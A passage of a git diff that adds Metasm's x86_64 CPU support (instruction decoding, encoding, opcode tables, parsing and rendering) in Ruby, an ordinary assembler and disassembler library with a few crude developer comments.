ensures that data >= op.length + pfx = di.instruction.prefix || {} + + field_val = lambda { |f| + if fld = op.fields[f] + (bseq[fld[0]] >> fld[1]) & @fields_mask[f] + end + } + field_val_r = lambda { |f| + v = field_val[f] + v |= 8 if v and (op.fields[f][1] == 3 ? pfx[:rex_r] : pfx[:rex_b]) # gruick ? + v + } + + pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0 + pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0 + pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0 + pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1 + di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty? # for opsz(di) + vex_w + + case op.props[:needpfx] + when 0x66; pfx.delete :opsz + when 0x67; pfx.delete :adsz + when 0xF2, 0xF3; pfx.delete :rep + end + + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + + opsz = op.props[:argsz] || opsz(di) + adsz = pfx[:adsz] ? 32 : 64 + mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 + + op.args.each { |a| + di.instruction.args << case a + when :reg; Reg.new field_val_r[a], opsz + when :eeec; CtrlReg.new field_val_r[a] + when :eeed; DbgReg.new field_val_r[a] + when :eeet; TstReg.new field_val_r[a] + when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] + when :regmmx; SimdReg.new field_val[a], mmxsz # rex_r ignored + when :regxmm; SimdReg.new field_val_r[a], 128 + when :regymm; SimdReg.new field_val_r[a], 256 + + when :farptr; Farptr.decode edata, @endianness, opsz + when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] + when :i # 64bit constants are sign-extended from :i32 + type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) + v = edata.decode_imm(type, @endianness) + v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer + Expression[v] + + when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg)) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz]) + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128) + when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256) + + when :regfp; FpReg.new field_val[a] + when :imm_val1; Expression[1] + when :imm_val3; Expression[3] + when :reg_cl; Reg.new 1, 8 + when :reg_eax; Reg.new 0, opsz + when :reg_dx; Reg.new 2, 16 + when :regfp0; FpReg.new nil + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + + if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' + if op.name == 'movsxd' + di.instruction.args[1].sz = 32 + elsif opsz == 8 + di.instruction.args[1].sz = 8 + else + di.instruction.args[1].sz = 16 + end + if pfx[:rex_w] + di.instruction.args[0].sz = 64 + elsif pfx[:opsz] + di.instruction.args[0].sz = 16 + else + di.instruction.args[0].sz = 32 + end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 + end + + # sil => bh + di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } + + case pfx.delete(:rep) + when :nz + if di.opcode.props[:strop] + pfx[:rep] = 'rep' + elsif di.opcode.props[:stropz] + pfx[:rep] = 'repnz' + end + when :z + if di.opcode.props[:strop] + pfx[:rep] = 'rep' + elsif di.opcode.props[:stropz] + pfx[:rep] = 'repz' + end + end + + di + end + + def decode_instr_interpret(di, addr) + super(di, addr) + + # [rip + 42] => [rip - addr + foo] + if m = di.instruction.args.grep(ModRM).first and + ((m.b and m.b.val == 16) or (m.i and m.i.val == 16)) and + m.imm and m.imm.reduce.kind_of?(Integer) + m.imm = Expression[[:-, di.address + di.bin_length], :+, di.address+di.bin_length+m.imm.reduce] + end + + di + end + + def opsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 + elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16 + elsif di and (op || di.opcode).props[:auto64]; 64 + else 32 + end + end + + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32 + else 64 + end + end + + def register_symbols + [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] + end + + # returns a DecodedFunction from a parsed C function prototype + def decode_c_function_prototype(cp, sym, orig=nil) + sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) + df = DecodedFunction.new + orig ||= Expression[sym.name] + + new_bt = lambda { |expr, rlen| + df.backtracked_for << BacktraceTrace.new(expr, orig, expr, rlen ? :r : :x, rlen) + } + + # return instr emulation + if sym.has_attribute 'noreturn' or sym.has_attribute '__noreturn__' + df.noreturn = true + else + new_bt[Indirection[:rsp, @size/8, orig], nil] + end + + # register dirty (MS standard ABI) + [:rax, :rcx, :rdx, :r8, :r9, :r10, :r11].each { |r| + df.backtrace_binding.update r => Expression::Unknown + } + + if cp.lexer.definition['__MS_X86_64_ABI__'] + reg_args = [:rcx, :rdx, :r8, :r9] + else + reg_args = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] + end + + al = cp.typesize[:ptr] + df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] + + # scan args for function pointers + # TODO walk structs/unions.. + stackoff = al + sym.type.args.to_a.zip(reg_args).each { |a, r| + if not r + r = Indirection[[:rsp, :+, stackoff], al, orig] + stackoff += (cp.sizeof(a) + al - 1) / al * al + end + if a.type.untypedef.kind_of? C::Pointer + pt = a.type.untypedef.type.untypedef + if pt.kind_of? C::Function + new_bt[r, nil] + df.backtracked_for.last.detached = true + elsif pt.kind_of? C::Struct + new_bt[r, al] + else + new_bt[r, cp.sizeof(nil, pt)] + end + end + } + + df + end + + def backtrace_update_function_binding_check(dasm, faddr, f, b) + # TODO save regs according to ABI + end +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb new file mode 100644 index 0000000000..cba3e13c8f --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/encode.rb @@ -0,0 +1,293 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/encode' + +module Metasm +class X86_64 + class ModRM + def self.encode_reg(reg, mregval = 0) + v = reg.kind_of?(Reg) ? reg.val_enc : reg.val & 7 + 0xc0 | (mregval << 3) | v + end + + def encode(reg = 0, endianness = :little) + reg = reg.val if reg.kind_of? Ia32::Argument + + ret = EncodedData.new << (reg << 3) + + # add bits in the first octet of ret.data (1.9 compatibility layer) + or_bits = lambda { |v| # rape me + if ret.data[0].kind_of? Integer + ret.data[0] |= v + else + ret.data[0] = (ret.data[0].unpack('C').first | v).chr + end + } + + if not self.b and not self.i + # imm only, use sib + or_bits[4] + imm = self.imm || Expression[0] + [ret << ((4 << 3) | 5) << imm.encode(:i32, endianness)] + + elsif (self.b and self.b.val == 16) or (self.i and self.i.val == 16) # rip+imm (rip == addr of the octet after the current instr) + # should have been filtered by #parse, but just in case + raise "invalid rip addressing #{self}" if (self.i and self.b) or (self.s and self.s != 1) + or_bits[5] + imm = self.imm || Expression[0] + [ret << imm.encode(:i32, endianness)] + + elsif not self.b and self.s != 1 + # sib with no b + raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 # XXX 12 ? + or_bits[4] + s = {8=>3, 4=>2, 2=>1}[@s] + imm = self.imm || Expression[0] + fu = (s << 6) | (@i.val_enc << 3) | 5 + fu = fu.chr if s >= 2 # rb1.9 encoding fix + [ret << fu << imm.encode(:i32, endianness)] + else + imm = @imm.reduce if self.imm + imm = nil if imm == 0 + + if not self.i or (not self.b and self.s == 1) + # no sib byte (except for [esp]) + @s, @i, @b = nil, nil, @s if not self.b + or_bits[@b.val_enc] + ret << 0x24 if @b.val_enc == 4 # XXX val_enc ? + else + # sib + or_bits[4] + + @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5) + + raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 + + s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] + fu = (s << 6) | (@i.val_enc << 3) | @b.val_enc + fu = fu.chr if s >= 2 # rb1.9 encoding fix + ret << fu + end + + imm ||= 0 if @b.val_enc == 5 + if imm + case Expression.in_range?(imm, :i8) + when true + or_bits[1<<6] + [ret << Expression.encode_imm(imm, :i8, endianness)] + when false + or_bits[2<<6] + [ret << Expression.encode_imm(imm, :a32, endianness)] + when nil + rets = ret.dup + or_bits[1<<6] + ret << @imm.encode(:i8, endianness) + rets, ret = ret, rets # or_bits[] modifies ret directly + or_bits[2<<6] + ret << @imm.encode(:a32, endianness) + [ret, rets] + end + else + [ret] + end + end + end + end + + # returns all forms of the encoding of instruction i using opcode op + # program may be used to create a new label for relative jump/call + def encode_instr_op(program, i, op) + base = op.bin.dup + oi = op.args.zip(i.args) + set_field = lambda { |f, v| + fld = op.fields[f] + base[fld[0]] |= v << fld[1] + } + + # + # handle prefixes and bit fields + # + pfx = i.prefix.map { |k, v| + case k + when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] + when :lock; 0xf0 + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] + end + }.compact.pack 'C*' + + rex_w = rex_r = rex_x = rex_b = 0 + if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' + case i.args[0].sz + when 64; rex_w = 1 + when 32 + when 16; pfx << 0x66 + end + elsif op.name == 'crc32' + case i.args[1].sz + when 64; rex_w = 1 + when 32; + when 16; pfx << 0x66 + end + else + opsz = op.props[:argsz] || i.prefix[:sz] + oi.each { |oa, ia| + case oa + when :reg, :reg_eax, :modrm, :mrm_imm + raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz + opsz = ia.sz + end + } + opsz ||= 64 if op.props[:auto64] + opsz = op.props[:opsz] if op.props[:opsz] # XXX ? + case opsz + when 64; rex_w = 1 if not op.props[:auto64] and (not op.props[:argsz] or op.props[:opsz] == 64) + when 32; raise EncodeError, "Incompatible arg size in #{i}" if op.props[:auto64] + when 16; pfx << 0x66 + end + end + opsz ||= @size + + # addrsize override / segment override / rex_bx + if mrm = i.args.grep(ModRM).first + mrm.encode(0, @endianness) if mrm.b or mrm.i # may reorder b/i, which must be correct for rex + rex_b = 1 if mrm.b and mrm.b.val_rex.to_i > 0 + rex_x = 1 if mrm.i and mrm.i.val_rex.to_i > 0 + pfx << 0x67 if (mrm.b and mrm.b.sz == 32) or (mrm.i and mrm.i.sz == 32) or op.props[:adsz] == 32 + pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg + elsif op.props[:adsz] == 32 + pfx << 0x67 + end + + + # + # encode embedded arguments + # + postponed = [] + oi.each { |oa, ia| + case oa + when :reg + set_field[oa, ia.val_enc] + if op.fields[:reg][1] == 3 + rex_r = ia.val_rex || 0 + else + rex_b = ia.val_rex || 0 + end + when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm + set_field[oa, ia.val & 7] + rex_r = 1 if ia.val > 7 + pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 + when :vexvreg, :vexvxmm, :vexvymm + set_field[:vex_vvvv, ia.val ^ 0xf] + when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 + # implicit + when :modrm, :modrmmmx, :modrmxmm, :modrmymm + # postpone, but we must set rex now + case ia + when ModRM + ia.encode(0, @endianness) # could swap b/i + rex_x = ia.i.val_rex || 0 if ia.i + rex_b = ia.b.val_rex || 0 if ia.b + when Reg + rex_b = ia.val_rex || 0 + else + rex_b = ia.val >> 3 + end + postponed << [oa, ia] + else + postponed << [oa, ia] + end + } + + if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? + # reg field of modrm + regval = (base[-1] >> 3) & 7 + base.pop + end + + # convert label name for jmp/call/loop to relative offset + if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression + postlabel = program.new_label('post'+op.name) + target = postponed.first[1] + target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr + postponed.first[1] = Expression[target, :-, postlabel] + end + + pfx << op.props[:needpfx] if op.props[:needpfx] + + if op.fields[:vex_r] + set_field[:vex_r, rex_r ^ 1] + set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x] + set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b] + set_field[:vex_w, rex_w] if op.fields[:vex_w] + elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 } + rex = 0x40 + rex |= 1 if rex_b == 1 + rex |= 2 if rex_x == 1 + rex |= 4 if rex_r == 1 + rex |= 8 if rex_w == 1 + pfx << rex + end + ret = EncodedData.new(pfx + base.pack('C*')) + + postponed.each { |oa, ia| + case oa + when :modrm, :modrmmmx, :modrmxmm, :modrmymm + if ia.kind_of? ModRM + ed = ia.encode(regval, @endianness) + if ed.kind_of?(::Array) + if ed.length > 1 + # we know that no opcode can have more than 1 modrm + ary = [] + ed.each { |m| ary << (ret.dup << m) } + ret = ary + next + else + ed = ed.first + end + end + else + ed = ModRM.encode_reg(ia, regval) + end + when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness) + when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness) + when :i + type = if opsz == 64 + if op.props[:imm64] + :a64 + else + if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1 + # handle 0xffffffff_ffffffff -> -1, which should fit in i32 + ia = Expression[_ia - (1 << 64)] + end + :i32 + end + else + "a#{opsz}".to_sym + end + ed = ia.encode(type, @endianness) + when :i4xmm, :i4ymm + ed = ia.val << 4 # u8 + else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" + end + + if ret.kind_of?(::Array) + ret.each { |e| e << ed } + else + ret << ed + end + } + + # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array + ret.add_export(postlabel, ret.virtsize) if postlabel + + ret + end +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb new file mode 100644 index 0000000000..7c9b74250c --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/main.rb @@ -0,0 +1,147 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/ia32' + +module Metasm + +# The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...) +class X86_64 < Ia32 + # FpReg, SegReg, Farptr unchanged + + # XMM extended to 16 regs, YMM + class SimdReg < Ia32::SimdReg + double_map 64 => (0..7).map { |n| "mm#{n}" }, + 128 => (0..15).map { |n| "xmm#{n}" }, + 256 => (0..15).map { |n| "ymm#{n}" } + + def val_enc + @val & 7 + end + + def val_rex + @val >> 3 + end + end + + # general purpose registers, all sizes + # 8 new gprs (r8..r15), set bit R in the REX prefix to reference them (or X/B if in ModRM) + # aonethusaontehsanothe with 8bit subreg: with no rex prefix, refers to ah ch dh bh (as usual) + # but whenever the prefix is present, those become unavailable and encodie spl..dil (low byte of rsp/rdi) + class Reg < Ia32::Reg + double_map 8 => %w{ al cl dl bl spl bpl sil dil r8b r9b r10b r11b r12b r13b r14b r15b ah ch dh bh}, + 16 => %w{ ax cx dx bx sp bp si di r8w r9w r10w r11w r12w r13w r14w r15w}, + 32 => %w{eax ecx edx ebx esp ebp esi edi r8d r9d r10d r11d r12d r13d r14d r15d eip}, + 64 => %w{rax rcx rdx rbx rsp rbp rsi rdi r8 r9 r10 r11 r12 r13 r14 r15 rip} + + Sym = @i_to_s[64].map { |s| s.to_sym } + + # returns a symbolic representation of the register: + # cx => :rcx & 0xffff + # ah => (:rax >> 8) & 0xff + # XXX in x64, 32bits operations are zero-extended to 64bits (eg mov rax, 0x1234_ffff_ffff ; add eax, 1 => rax == 0 + def symbolic(di=nil) + s = Sym[@val] + s = di.next_addr if s == :rip and di + if @sz == 8 and to_s[-1] == ?h + Expression[[Sym[@val-16], :>>, 8], :&, 0xff] + elsif @sz == 8 + Expression[s, :&, 0xff] + elsif @sz == 16 + Expression[s, :&, 0xffff] + elsif @sz == 32 + Expression[s, :&, 0xffffffff] + else + s + end + end + + # checks if two registers have bits in common + def share?(other) + raise 'TODO' + # XXX TODO wtf does formula this do ? + other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) + end + + # returns the part of @val to encode in an instruction field + def val_enc + if @sz == 8 and @val >= 16; @val-12 # ah, bh, ch, dh + elsif @val >= 16 # rip + else @val & 7 # others + end + end + + # returns the part of @val to encode in an instruction's rex prefix + def val_rex + if @sz == 8 and @val >= 16 # ah, bh, ch, dh: rex forbidden + elsif @val >= 16 # rip + else @val >> 3 # others + end + end + end + + # ModRM represents indirections (eg dword ptr [eax+4*ebx+12h]) + # 16bit mode unavailable in x64 + # opcodes use 64bit addressing by default, use adsz override (67h) prefix to switch to 32 + # immediate values are encoded as :i32 sign-extended to 64bits + class ModRM < Ia32::ModRM + # mod 0/1/2 m 4 => sib + # mod 0 m 5 => rip+imm + # sib: i 4 => no index, b 5 => no base + end + + class DbgReg < Ia32::DbgReg + simple_map((0..15).map { |i| [i, "dr#{i}"] }) + end + + class CtrlReg < Ia32::CtrlReg + simple_map((0..15).map { |i| [i, "cr#{i}"] }) + end + + class TstReg < Ia32::TstReg + simple_map((0..15).map { |i| [i, "tr#{i}"] }) + end + + # Create a new instance of an X86 cpu + # arguments (any order) + # - instruction set (386, 486, sse2...) [latest] + # - endianness [:little] + def initialize(*a) + super(:latest) + @size = 64 + a.delete @size + @endianness = (a & [:big, :little]).first || :little + a.delete @endianness + @family = a.pop || :latest + raise "Invalid arguments #{a.inspect}" if not a.empty? + raise "Invalid X86_64 family #{@family.inspect}" if not respond_to?("init_#@family") + end + + # defines some preprocessor macros to say who we are: + # TODO + def tune_prepro(pp) + super(pp, :itsmeX64) # ask Ia32's to just call super() + pp.define_weak('_M_AMD64') + pp.define_weak('_M_X64') + pp.define_weak('__amd64__') + pp.define_weak('__x86_64__') + end + + def str_to_reg(str) + # X86_64::Reg != Ia32::Reg + Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil + end + + def shortname + "x64#{'_be' if @endianness == :big}" + end +end + +X64 = X86_64 +AMD64 = X86_64 + +end diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb new file mode 100644 index 0000000000..149c090948 --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/opcodes.rb @@ -0,0 +1,136 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/main' +require 'metasm/cpu/ia32/opcodes' + +module Metasm +class X86_64 + def init_cpu_constants + super() + [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true } + end + + def init_386_common_only + super() + # :imm64 => accept a real int64 as :i argument + # :auto64 => ignore rex_w, always 64-bit op + # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest + [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true } + @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix + @opcode_list.each { |o| + o.props[:imm64] = true if o.bin == [0xB8] # mov reg, + o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/ + } + addop 'movsxd', [0x63], :mrm + addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 } + addop('cqo', [0x99]) { |o| o.props[:opsz] = 64 } + end + + # all x86_64 cpu understand <= sse2 instrs + def init_x8664_only + init_386_common_only + init_386_only + init_387_only + init_486_only + init_pentium_only + init_p6_only + init_sse_only + init_sse2_only + + @opcode_list.delete_if { |o| + o.args.include?(:seg2) or + o.args.include?(:seg2A) or + o.args.include?(:farptr) or + %w[aaa aad aam aas bound daa das into jcxz jecxz + lds les loadall arpl pusha pushad popa + popad].include?(o.name.split('.')[0]) + # split needed for lds.a32 + } + + @opcode_list.each { |o| + o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/ + } + + addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 } + addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop + addop 'swapgs', [0x0F, 0x01, 0xF8] + + addop('movq', [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 } + addop('movq', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } + addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 } # actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32 + addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 } + end + + def init_sse3 + init_x8664_only + init_sse3_only + end + + def init_sse41_only + super() + addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 } + end + + def init_avx_only + super() + addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 } + end + + def addop_macrostr(name, bin, type) + super(name, bin, type) + bin = bin.dup + bin[0] |= 1 + addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } + end + + def addop_macroret(name, bin, *args) + addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 } + super(name, bin, *args) + end + + def addop_post(op) + if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 + return super(op) + end + + if op.props[:needpfx] + @opcode_list.unshift op + else + @opcode_list << op + end + + if op.args == [:i] or op.name == 'ret' + # define opsz-override version for ambiguous opcodes + op16 = op.dup + op16.name << '.i16' + op16.props[:opsz] = 16 + @opcode_list << op16 + # push call ret jz can't 32bit + op64 = op.dup + op64.name << '.i64' + op64.props[:opsz] = 64 + @opcode_list << op64 + elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or + op.args.include? :modrm or op.name =~ /loop|xlat/ + # define adsz-override version for ambiguous opcodes (movsq) + # XXX loop pfx 67 = rip+ecx, 66/rex ignored + op32 = op.dup + op32.name << '.a32' + op32.props[:adsz] = 32 + @opcode_list << op32 + op64 = op.dup + op64.name << '.a64' + op64.props[:adsz] = 64 + @opcode_list << op64 + end + end +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb new file mode 100644 index 0000000000..8a558ba1df --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/parse.rb @@ -0,0 +1,76 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/cpu/x86_64/encode' +require 'metasm/parse' + +module Metasm +class X86_64 + def parse_parser_instruction(lexer, instr) + case instr.raw.downcase + when '.mode', '.bits' + if tok = lexer.readtok and tok.type == :string and tok.raw == '64' + lexer.skip_space + raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol + else + raise instr, 'invalid cpu mode, 64bit only' + end + else super(lexer, instr) + end + end + + def parse_prefix(i, pfx) + super(i, pfx) or (i.prefix[:sz] = 64 if pfx == 'code64') + end + + # needed due to how ruby inheritance works wrt constants + def parse_argregclasslist + [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg] + end + # same inheritance sh*t + def parse_modrm(lex, tok, cpu) + ModRM.parse(lex, tok, cpu) + end + + def parse_instruction_checkproto(i) + # check ah vs rex prefix + return if i.args.find { |a| a.kind_of? Reg and a.sz == 8 and a.val >= 16 and + op = opcode_list.find { |op_| op_.name == i.opname } and + ((not op.props[:auto64] and i.args.find { |aa| aa.respond_to? :sz and aa.sz == 64 }) or + i.args.find { |aa| aa.kind_of? Reg and aa.val >= 8 and aa.val < 16 } or # XXX mov ah, cr12... + i.args.grep(ModRM).find { |aa| (aa.b and aa.b.val >= 8 and aa.b.val < 16) or (aa.i and aa.i.val >= 8 and aa.i.val < 16) }) + } + super(i) + end + + # check if the argument matches the opcode's argument spec + def parse_arg_valid?(o, spec, arg) + return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1))) + return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16 # eip/rip only in modrm + return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32 + # vex c4/c5 + return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8)))) + if o.name == 'movsxd' + return if not arg.kind_of? Reg and not arg.kind_of? ModRM + arg.sz ||= 32 + if spec == :reg + return if not arg.kind_of? Reg + return arg.sz >= 32 + else + return arg.sz == 32 + end + end + return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0 + + super(o, spec, arg) + end + + def check_reserved_name(name) + Reg.s_to_i[name] + end +end +end diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb new file mode 100644 index 0000000000..c14813f01c --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64/render.rb @@ -0,0 +1,35 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/x86_64/opcodes' +require 'metasm/render' + +module Metasm +class X86_64 + def gui_hilight_word_regexp_init + ret = {} + + %w[a b c d].each { |r| + ret["#{r}l"] = "[re]?#{r}x|#{r}l" + ret["#{r}h"] = "[re]?#{r}x|#{r}h" + ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]" + } + + %w[sp bp si di].each { |r| + ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l" + } + + (8..15).each { |i| + r = "r#{i}" + ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?" + } + + ret['eip'] = ret['rip'] = '[re]ip' + + ret + end +end +end diff 